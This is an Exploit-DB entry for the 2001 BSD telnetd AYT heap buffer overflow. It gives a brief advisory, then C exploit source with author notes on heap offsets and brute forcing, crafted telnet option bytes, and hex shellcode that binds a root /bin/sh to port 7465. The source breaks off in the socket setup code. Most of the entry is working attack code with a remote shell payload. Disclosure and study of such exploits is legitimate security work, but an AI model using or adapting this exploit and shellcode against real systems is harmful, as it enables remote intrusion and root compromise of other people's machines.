Exploit-DB #21018
Description: Solaris 2.x/7.0/8 / IRIX 6.5.x / OpenBSD 2.x / NetBSD 1.x / Debian 3 / HP-UX 10 - 'TelnetD' Remote Buffer Overflow
Type: remote
Platform: unix
Date: 2001-07-18
Author: Dvorak

Exploit:
// source: https://www.securityfocus.com/bid/3064/info

A boundary condition error exists in telnet daemons derived from the BSD telnet daemon.

Under certain circumstances, the buffer overflow can occur when a combination of telnet protocol options are received by the daemon. The function responsible for processing the options prepares a response within a fixed sized buffer, without performing any bounds checking.

This vulnerability is now being actively exploited. A worm is known to be circulating around the Internet. 

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>

/*********************************************************************
       Proof of concept netkit-0.17-7 local root exploit.

 Exploits buffer overflow in the AYT handling of in.telnetd, 
 due to bad logic in the handling of snprintf(), and 

      TESO advisory details were enough to allow me to put 
        controlable addresses in arbitary heap locations. 

    Heap based exploit. Overflow allows rewriting of some heap 
     data, which allowed me to put a new heap structure in the 
          input buffer, which let me do whatever I want.

'traceroute exploit story -  By Dvorak, Synnergy Networks' was very
 helpful. Also malloc.c was good. 

*********************************************************************/
/*
                         Notes about exploit                       

1) RedHat 7.0, exploiting localhost
2) hostname is clarity.local
3) It probably won't work without at least a different setting for
   the --size option, and probably the --name option as well. The
   --name arguemnt  is the hostname part of the string that gets 
   returned by the AYT command, which may be different to the name
   of the address you are connecting to..
4) There are a lot of things that use the heap, making the size 
   depend on alot of factors. 

5) You will might need to change some (or all) of the offsets. 
   This program does allow you to brute force, if the hostname returned 
   by the AYT command is not a multiple of 3 letters long.
 
 It is also possibly (at least according to some quick testing I did)
 exploitable on some (all?) servers with names that are multiples of three
 letters long, using the Abort Output command to add 2 characters to the
 output length, and exploit the heap in a similar manner to this method.
 
 (You can only directly put user controlable characters in 2 out of 3
 locations (ie: no AO will give you a multiple of 3 bytes on the heap, AO
 will give you 2 more than a multiple of 3 bytes) with controllable
 characters, but when you count the null added by the netoprintf(), and use
 0 as an option to a do or will, you can sometimes create valid chunks that
 point to locations you can control. I have only tested this method with a 
 simulation, but it seems it would probably work with the telnetd as well.
 I will look into it when I have time. Maybe.)
 

                       .  .  _  _   _  _ .  .     _  _  _ .  .
 |_  _|_ _|_  _ .  / / |\/| |_| _| |  | ||\/|  / |  | ||_ |  |
 | |  |   |  |_|. / /  |  | |   _|.|_ |_||  | /  |_ |_| _| \/ 
             |
 *********************************************************************/




#define SERVER_PORT 23

#define ENV 18628

int offset12[] = {
// netibuf[343]->the chunk start.
  -4, 0xaa,
  -5, 0xbb,
  -6, 0xcc,
  -7, 0x10,
  -9, 0xdd,
  -10, 0x68,
  -12, 0xee,
  -13, 0x88,
  -14, 0x99,
  0, 0x00
};

int offset3[]={
-1,0x00,
0,0
};

int *offsets=offset12;


int dalen = 0;
int big;
int small;
int mipl = 0;
int ninbufoffset;
char spinchars[] = "/|\\-";

char tosend[] = {
  0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb, 0x1f, 0xff, 0xfb, 0x20,
  0xff, 0xfb, 0x21, 0xff, 0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,
  0xff, 0xfb, 0x23, 0
};

char lamagra_bind_code[] =
// the NOPs are my part... to jump over the modified places, 
// without me having to take a look to see where they are.
// Modified to listen on 7465 == TAGS and work thru TELNET protocol.
  "\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0"
  "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  "\x8d\x55\x0c\xcd\x80\xe8\xe3"
  "\xff\xff\xff\xff\xff\xff/bin/sh";

char *shellcode = lamagra_bind_code;

int sock;			/* fd for socket connection */
FILE *dasock;			/* for doing fprint et al   */
struct sockaddr_in server;	/* the server end of the socket  */
struct hostent *hp;		/* Return value from gethostbyname() */
char buf[40960];		/* Received data buffer */
char sock_buf[64 * 1024];	/* Received data buffer */

char daenv[10000];
char oldenv[10000];

extern int errno;
read_sock ()
{
  /* Prepare our buffer for a read and then read. */
  bzero (buf, sizeof (buf));
  if (read (sock, buf, sizeof (buf)) < 0)
    if (errno != 11)
      {
	perror ("! Socket read");
	exit (1);
      }
}

sock_setup ()
{
  int flags;
  i